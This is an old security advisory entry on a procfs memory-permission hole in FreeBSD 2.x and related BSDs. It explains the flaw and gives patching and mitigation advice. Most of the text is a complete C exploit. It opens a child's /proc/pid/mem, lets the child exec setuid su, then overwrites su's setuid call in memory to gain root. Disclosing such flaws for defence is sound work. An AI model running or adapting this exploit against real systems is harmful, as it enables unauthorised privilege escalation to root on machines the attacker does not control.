COMMAND
procfs
SYSTEMS AFFECTED
FreeBSD 2.1.*, FreeBSD 2.2.*, FreeBSD-stable and FreeBSD-current
before 1997/08/12
PROBLEM
Brian Mitchell posted about major hole in procfs under FreeBSD
2.2.1 (2.1 is not affected, 3.x is not tested but may be
vulnerable as well) along with OpenBSD (2.1-RELEASE although obsd
doesnt mount procfs by default like freebsd does).
The problem is all proc/#/mem access is controlled by the
permissions on the file. This means you can fork() open the childs
mem device and then have the child execute a setuid executable.
Once this is done, you can modify the setuid executables memory -
even segments that are supposed to be nonwritable can be
modified. Enclosed is a simple exploit tested under FreeBSD
2.2.1 - beware, this exploit is slow because it searches memory
for a specific signature. You need to change your shell to a
borneish shell too, since csh/tcsh will not work when euid != ruid
(unless passed a -b script argument).
BSDI is also believed to be vulnerable. Unfortunately, not only
is procfs not mounted, it is not even in the GENERIC kernel.
Exploit follows.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
u_char search_code[13] = {
0x8d, 0x05, 0x17, 0x00, 0x00, 0x00, /* leal 0x17, %eax */
0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00}; /* lcall 7,0 */
/* just do a xor %eax, %eax and then a ret */
u_char new_code[] = {
0x31, 0xc0, 0xc3};
main(int argc, char **argv)
{
int pid;
int fd;
char buff[40];
char *user;
/* might need to tweak these */
u_int offset=0x8003000;
u_int offset_end = 0x8099000;
if(argc < 2)
{
fprintf(stderr, "%s user\n", argv[0]);
exit(1);
}
printf("Demonstration of 4.4BSD procfs hole\n");
printf("Brian Mitchell <brian@firehouse.net>\n\n");
printf("after you see \"setuid changed\", enter the pw for the user\n");
printf("\aBe warned, searching for the setuid() function takes a long time!\n");
user=argv[1];
pid = fork();
switch(pid)
{
case -1:
perror("fork");
exit(1);
case 0:
/* give parent time to open /proc/pid/mem */
sleep(3);
execl("/usr/bin/su", "su", user, NULL);
exit(0);
default:
sprintf(buff, "/proc/%d/mem", pid);
fd = open(buff, O_RDWR);
if(fd < 0)
{
perror("open procmem");
wait(NULL);
exit(1);
}
/* wait for child to execute suid program */
sleep(6);
/* stop the child */
kill(pid, 17);
printf("searching - please be patient...\n");
/* search for the setuid code */
while(offset != offset_end)
{
lseek(fd, offset, SEEK_SET);
read(fd, buff, 13);
if(!bcmp(buff, search_code, 13))
{
lseek(fd, offset, SEEK_SET);
write(fd, new_code, 3);
printf("setuid changed (0x%x)\n", offset);
/* sigcont child */
kill(pid, 19);
wait(NULL);
exit(0);
}
offset++;
}
printf("setuid not found!!\n");
kill(pid, 9);
wait(NULL);
exit(1);
}
}
SOLUTION
Temporary fix: Disable the /proc filesystem. Setting ro instead
of rw in /etc/fstab or chmod'ing on the mountpoint do _not_ work.
Best solution is to apply one of the following patches in
/usr/src/sys/miscfs/procfs, rebuild your kernel, install it and
reboot your system. Those patches can be found on:
ftp://freebsd.org/pub/CERT/patches/SA-97:04/